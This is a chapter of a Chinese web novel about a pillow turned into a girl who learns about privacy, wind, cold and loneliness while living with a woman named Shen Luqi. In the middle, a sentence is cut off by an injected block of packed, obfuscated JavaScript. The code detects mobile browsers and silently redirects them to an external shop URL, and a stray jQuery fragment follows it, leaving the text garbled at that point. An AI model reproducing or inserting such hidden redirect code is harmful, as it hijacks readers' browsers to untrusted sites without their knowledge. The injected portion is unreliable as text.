我发现了人类的一个奇怪习惯。
沈鹿栖走进一个房间，把门关上。门后面传来水声。我不知道她在做什么，就蹲在门口等。
门缝底下有一条很细的缝隙，我把眼睛凑上去，什么都看不到，只能看到地板和她脚的影子。影子动来动去的，一会儿往前，一会儿往后。
然后是冲水声。然后是水龙头的声音，哗哗的，持续了一会儿。
门开了。
沈鹿栖走出来，看到我蹲在那里，脚步停了一下。
"你在干什么？"她问，声音有点紧。
"看你。"
"……不要看。"
"为什么？"
"因为这是……"她停了一下，像在找一个词，"私人的事。"
私人的。
我把这个词在脑子里转了几圈。不太理解。枕头没有"私人的"这个概念。谁都可以把头放上来，谁都可以用我。我不属于任何一个特定的人。"私人的"是什么意思？是"只能一个人做"的事吗？
"为什么只能一个人做？"
沈鹿栖的耳根红了一点点。不是害羞那种红，更像尴尬。她没回答我的问题，只是绕过我，走到客厅去了。
我跟着她。
"你刚才在里面做什么？"
"……上厕所。"
"上厕所是什么？"
她回头看了我一眼，表情很复杂，像在判断我是在装傻还是真的不知道。
"你真的不知道？"
"真的不知道。枕头不需要上厕所。"
她的嘴角抽了一下。转身继续走，没回答。
我记住了"厕所"这个词。人类每天都要进去好几次，进去以后会关门，关了门以后不希望别人看。这是一个关于"私人的"的具体案例。我把它归档了。
---
第二天，沈鹿栖说要带我出门。
"出门是什么？"
"离开这个房子，到外面去。"
"外面是什么？"
她看着我，嘴巴张了一下，又闭上了。过了一会儿，她从衣柜里翻出一件外套，递给我。
"穿上。"
我接过来。外套很大，比她身上穿的那件大两号。我把它套在身上，袖子长出来一截，把手指都盖住了。领口也大，从左边的肩膀滑下来，露出一大片皮肤。
"你没有衣服。"她打量了我一下，皱了一下眉，"先穿我的吧。"
我低头看了看自己。我身上穿的这件白色的东西不是衣服，是枕套化形以后剩下的。我不太清楚它算什么，但它一直在我身上，从来没有掉过。
"这个不是衣服吗？"
"不算。"
"为什么不算？"
"因为……"她又停了一下。我发现她经常停顿，不是因为她不知道答案，是因为她在想一个我能听懂的解释方式。"因为衣服是穿给人看的。你身上那个……别人看了会奇怪。"
"奇怪是什么？"
她没回答。她把外套帮我拉好，把滑下去的那侧肩膀拉上来，然后看了看我，好像在检查什么。
"走吧。"
她打开门。
---
外面的世界很大。
这是我出来以后的第一个感觉。不是"漂亮"或者"热闹"，是"大"。天空很高，我抬头看的时候，脖子仰到最大角度，还是看不到顶。地面很宽，往哪个方向走都可以，没有墙挡着。
空气的味道也不一样。房间里的空气是静止的，外面的空气是动的。
动的空气撞到我身上的时候，我整个人缩了一下。
"怎么了？"沈鹿栖回头。
"有东西在推我。"我很认真地描述我感觉到的，"看不见的东西，在推我的身体。到处都在推，从前面推，从后面推，从侧面推。"
沈鹿栖看了看四周。什么都没有。
"那是风。"她说。
"风是什么？"
"就是……"她想了一会儿，"空气在动。"
"空气为什么要动？"
"我不知道。它就动了。"
我低头看了看自己的胳膊。皮肤上起了一层细细的小颗粒，密密麻麻的，排列得很整齐。我用手搓了搓，搓不掉。
"好奇怪。"我把胳膊伸到沈鹿栖面前，"我的皮肤变硬了。"
沈鹿栖看了一眼。
"那叫鸡皮疙瘩。"
"鸡皮疙瘩是什么？"
"就是……冷了以后皮肤会变成这样。"
"冷是什么？"
她又停顿了。这次停了很久。
然后她把身上的外套脱下来，披在我身上。我已经有了一件她的外套，现在又多了一件。两件外套叠在一起，我整个人被裹在里面，只露出一张脸。
风还是在推我，但推的力气变小了。外套挡住了大部分的推力。
"好奇怪。"我低头看了看两件外套，又看了看沈鹿栖。她只穿着一件薄薄的长袖，鼻尖冻得有点红。"穿上这个，那个看不见的东西就不推我了。"
"嗯。"
"为什么？"
"因为那是外套的作用。"
我低头摸了摸袖口。袖口的布料和我的皮肤质感不一样。我的皮肤摸起来像……我也不知道像什么，我从来没有摸过自己的皮肤以外的东西（不对，我是枕头，我没有皮肤，我是枕套）。袖口的布料是粗糙的，有一格一格的纹路，手指划过去的时候会有一种沙沙的摩擦感。
沈鹿栖走在前面，我跟在后面。她走得不快，但步子很稳。偶尔回头看我一眼，确认我还在。
街道两边有各种各样的东西。有的我能认出来（门、窗户、台阶），有的我认不出来（一个圆圆的铁盖子在地上，上面有花纹；一根很高的棍子，上面贴着很多纸；一只橘色的猫蹲在墙头，眯着眼睛看我）。
我蹲下来看那只猫。
猫也看着我。它的眼睛是黄绿色的，瞳孔是一条竖线。它的毛在风里微微抖动。
"你是什么？"我问它。
猫没回答。它打了个哈欠，露出一嘴小小的尖牙，然后跳下墙头，跑了。
我站起来，继续跟在沈鹿栖后面。
---
到了晚上，沈鹿栖要去上班。
她站在门口穿鞋。鞋是那种系带的，她弯腰系鞋带的时候，头发从肩膀上滑下来，垂在脸旁边。
"我出门了。"她直起身，看了我一眼。
"嗯。"
"你在家待着。"
"嗯。"
"不要乱动东西。"
"嗯。"
她打开门，走出去，把门关上了。
门锁咔哒响了一声。
我坐在沙发上，腿盘着，眼睛盯着那扇门。
房间一下子变大了。不是真的变大了，是少了一个人以后，空间好像被什么东西撑开了。空气也变了，从"有人"的空气变成了"没人"的空气，温度降了一点点，声音也少
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17814705|211004||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了。
我坐了一会儿。
一个小时。
两个小时。
三个小时。
我不知道"小时"是什么，但我能感觉到时间在走。走得比沈鹿栖在的时候慢。
房间太大了。
我站起来，走到卧室。床上有被子、枕头（除了我本体以外的另一个枕头，棉花的，我不认识它）、一个靠垫。我把被子抱起来，走到门口，放在地上。回去拿枕头，放在被子上面。回去拿靠垫，放在枕头上面。
然后是衣柜里的冬被。冬被很大，我拖着它走了好几步，被子角在地上蹭，发出沙沙的声音。
我把所有软的东西都堆在门口，堆成一个小山。
然后我坐在小山上面。腿盘着，手放在膝盖上。
房间小了。
---
第二天早上七点，门锁响了。
沈鹿栖推门进来。她低头看到门口那堆东西，脚步停了。她站在那里看了大概五秒钟，目光从被子堆移到我身上，又从我身上移回被子堆。
"你……"她的声音有点干，"把我的被子都搬到这里来干什么？"
我低头看了看屁股底下的被子，这才意识到自己做了什么。
"我……不知道。"我老实地回答，"你走了以后，我觉得房间太大了。然后我就把软的东西都搬过来，堆在一起，坐在上面。"
我停了一下，小声补了一句。
"坐在上面，房间就小了。"
沈鹿栖盯着我。她的嘴巴张了一下，又闭上了。
然后她弯腰，把那堆东西一件一件搬回去。被子、枕头、靠垫、冬被。我跟在她后面，帮她抱了一床被子。被子太大，我的脸被挡住了，走路的时候没看到门框，撞了一下。
额头撞在门框上，发出咚的一声。不疼，但声音很大。
沈鹿栖把被子放回床上，转过身，看到我额头上的红印。
"疼吗？"她问。
"不知道。"我不太确定这算不算"疼"。额头那里有一种麻麻的感觉，像被什么东西敲了一下。
她看了我一会儿，没再说什么。
"以后不要搬了。"她把最后一床被子叠好，放进衣柜。
"哦。"
"我每天都会回来。"
我愣了一下。
她每天都会回来。
这句话落在我耳朵里的时候，那种"被需要"的感觉又出现了。但和以前不一样。以前的"被需要"是模糊的，像远处传来的嗡嗡声。现在这个是具体的。是"每天"。是"回来"。是"你在这里等我，我就会回来"。
我笑了。
梨涡陷得很深。
---
那天晚上，沈鹿栖的手机响了。她拿起来看了一眼，手指在屏幕上划了几下，然后把手机放在茶几上。
我凑过去看。屏幕上有一个app，上面有很多字和一张照片。照片里是一只枕头，枕面上有一朵歪歪扭扭的花。
是我的本体。
"这是什么？"我问。
沈鹿栖把手机锁了屏。"没什么。"
"照片里是我。"
"……嗯。"
"你把我放在上面了。"
"嗯。"
"为什么？"
她没回答。她拿起手机，走到卧室去了。
我坐在沙发上，看着她的背影。
她在笑吗？我看不到她的脸。但她的脚步比平时轻了一点点。